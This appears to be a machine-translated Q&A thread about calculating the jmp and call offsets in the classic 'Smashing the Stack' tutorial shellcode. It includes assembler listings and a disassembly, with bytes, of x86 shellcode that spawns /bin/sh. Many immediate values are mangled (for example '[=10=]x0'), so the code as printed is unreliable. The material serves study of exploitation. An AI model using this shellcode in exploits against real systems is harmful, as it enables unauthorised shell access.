粉碎堆栈以获得乐趣和利润:jmp offset

Smashing the Stack for Fun and Profit: jmp offset

为了创建 shellcode,作者将偏移占位符替换为其计算值,即 This

jmp    offset-to-call           # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,array-offset(%esi)  # 3 bytes
movb   [=10=]x0,nullbyteoffset(%esi)# 4 bytes
movl   [=10=]x0,null-offset(%esi)   # 7 bytes
movl   [=10=]xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   array-offset(%esi),%ecx  # 3 bytes
leal   null-offset(%esi),%edx   # 3 bytes
int    [=10=]x80                    # 2 bytes
movl   [=10=]x1, %eax               # 5 bytes
movl   [=10=]x0, %ebx               # 5 bytes
int    [=10=]x80                    # 2 bytes
call   offset-to-popl           # 5 bytes
/bin/sh string goes here.

翻译成这个

jmp    0x26                     # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,0x8(%esi)           # 3 bytes
movb   [=11=]x0,0x7(%esi)           # 4 bytes
movl   [=11=]x0,0xc(%esi)           # 7 bytes
movl   [=11=]xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   0x8(%esi),%ecx           # 3 bytes
leal   0xc(%esi),%edx           # 3 bytes
int    [=11=]x80                    # 2 bytes
movl   [=11=]x1, %eax               # 5 bytes
movl   [=11=]x0, %ebx               # 5 bytes
int    [=11=]x80                    # 2 bytes
call   -0x2b                    # 5 bytes
.string \"/bin/sh\"             # 8 bytes

但是,我计算出 offset-to-call 为 0x2a 或 42 字节(1+3+4+7+5+2+3+3+2+5+5+2)和 offset-to- popl 为 -0x2a.

作者是怎么得到0x26和-0x2b的?

0x2a 是正确的,可以通过组装验证。对于 call 显然要多 5 个字节(因为这是 call 指令的长度),所以 -0x2f 是正确的。有趣的是,你们两个都没有做对 ;) 请注意,这些是机器代码中的偏移量,而不是您可以输入汇编程序的内容。为此你应该简单地使用一个标签:

   1 0000 EB2A      jmp    label_call               # 2 bytes
   2                label_popl:
   3 0002 5E        popl   %esi                     # 1 byte
   4 0003 897608    movl   %esi,0x8(%esi)           # 3 bytes
   5 0006 C6460700  movb   [=10=]x0,0x7(%esi)           # 4 bytes
   6 000a C7460C00  movl   [=10=]x0,0xc(%esi)           # 7 bytes
   6      000000
   7 0011 B80B0000  movl   [=10=]xb,%eax                # 5 bytes
   7      00
   8 0016 89F3      movl   %esi,%ebx                # 2 bytes
   9 0018 8D4E08    leal   0x8(%esi),%ecx           # 3 bytes
  10 001b 8D560C    leal   0xc(%esi),%edx           # 3 bytes
  11 001e CD80      int    [=10=]x80                    # 2 bytes
  12 0020 B8010000  movl   [=10=]x1, %eax               # 5 bytes
  12      00
  13 0025 BB000000  movl   [=10=]x0, %ebx               # 5 bytes
  13      00
  14 002a CD80      int    [=10=]x80                    # 2 bytes
  15                label_call:
  16 002c E8D1FFFF  call   label_popl               # 5 bytes
  16      FF
  17 0031 2F62696E  .string "/bin/sh"               # 8 bytes
  17      2F736800 

或者使用 . 相对地址,但是需要不同的偏移量,因为 . 指的是当前地址,而不是机器代码所要求的下一条指令的地址:

   1 0000 EB2A      jmp    .+0x2c                   # 2 bytes
   2 0002 5E        popl   %esi                     # 1 byte
   3 0003 897608    movl   %esi,0x8(%esi)           # 3 bytes
   4 0006 C6460700  movb   [=11=]x0,0x7(%esi)           # 4 bytes
   5 000a C7460C00  movl   [=11=]x0,0xc(%esi)           # 7 bytes
   5      000000
   6 0011 B80B0000  movl   [=11=]xb,%eax                # 5 bytes
   6      00
   7 0016 89F3      movl   %esi,%ebx                # 2 bytes
   8 0018 8D4E08    leal   0x8(%esi),%ecx           # 3 bytes
   9 001b 8D560C    leal   0xc(%esi),%edx           # 3 bytes
  10 001e CD80      int    [=11=]x80                    # 2 bytes
  11 0020 B8010000  movl   [=11=]x1, %eax               # 5 bytes
  11      00
  12 0025 BB000000  movl   [=11=]x0, %ebx               # 5 bytes
  12      00
  13 002a CD80      int    [=11=]x80                    # 2 bytes
  14 002c E8D1FFFF  call   .-0x2a                   # 5 bytes
  14      FF
  15 0031 2F62696E  .string "/bin/sh"               # 8 bytes
  15      2F736800 

两种情况下的反汇编是:

   0:   eb 2a                   jmp    0x2c
   2:   5e                      pop    %esi
   3:   89 76 08                mov    %esi,0x8(%esi)
   6:   c6 46 07 00             movb   [=12=]x0,0x7(%esi)
   a:   c7 46 0c 00 00 00 00    movl   [=12=]x0,0xc(%esi)
  11:   b8 0b 00 00 00          mov    [=12=]xb,%eax
  16:   89 f3                   mov    %esi,%ebx
  18:   8d 4e 08                lea    0x8(%esi),%ecx
  1b:   8d 56 0c                lea    0xc(%esi),%edx
  1e:   cd 80                   int    [=12=]x80
  20:   b8 01 00 00 00          mov    [=12=]x1,%eax
  25:   bb 00 00 00 00          mov    [=12=]x0,%ebx
  2a:   cd 80                   int    [=12=]x80
  2c:   e8 d1 ff ff ff          call   0x2

正在确认正确的目标地址。

PS: 在 shellcode 中有零字节通常不是一个好主意。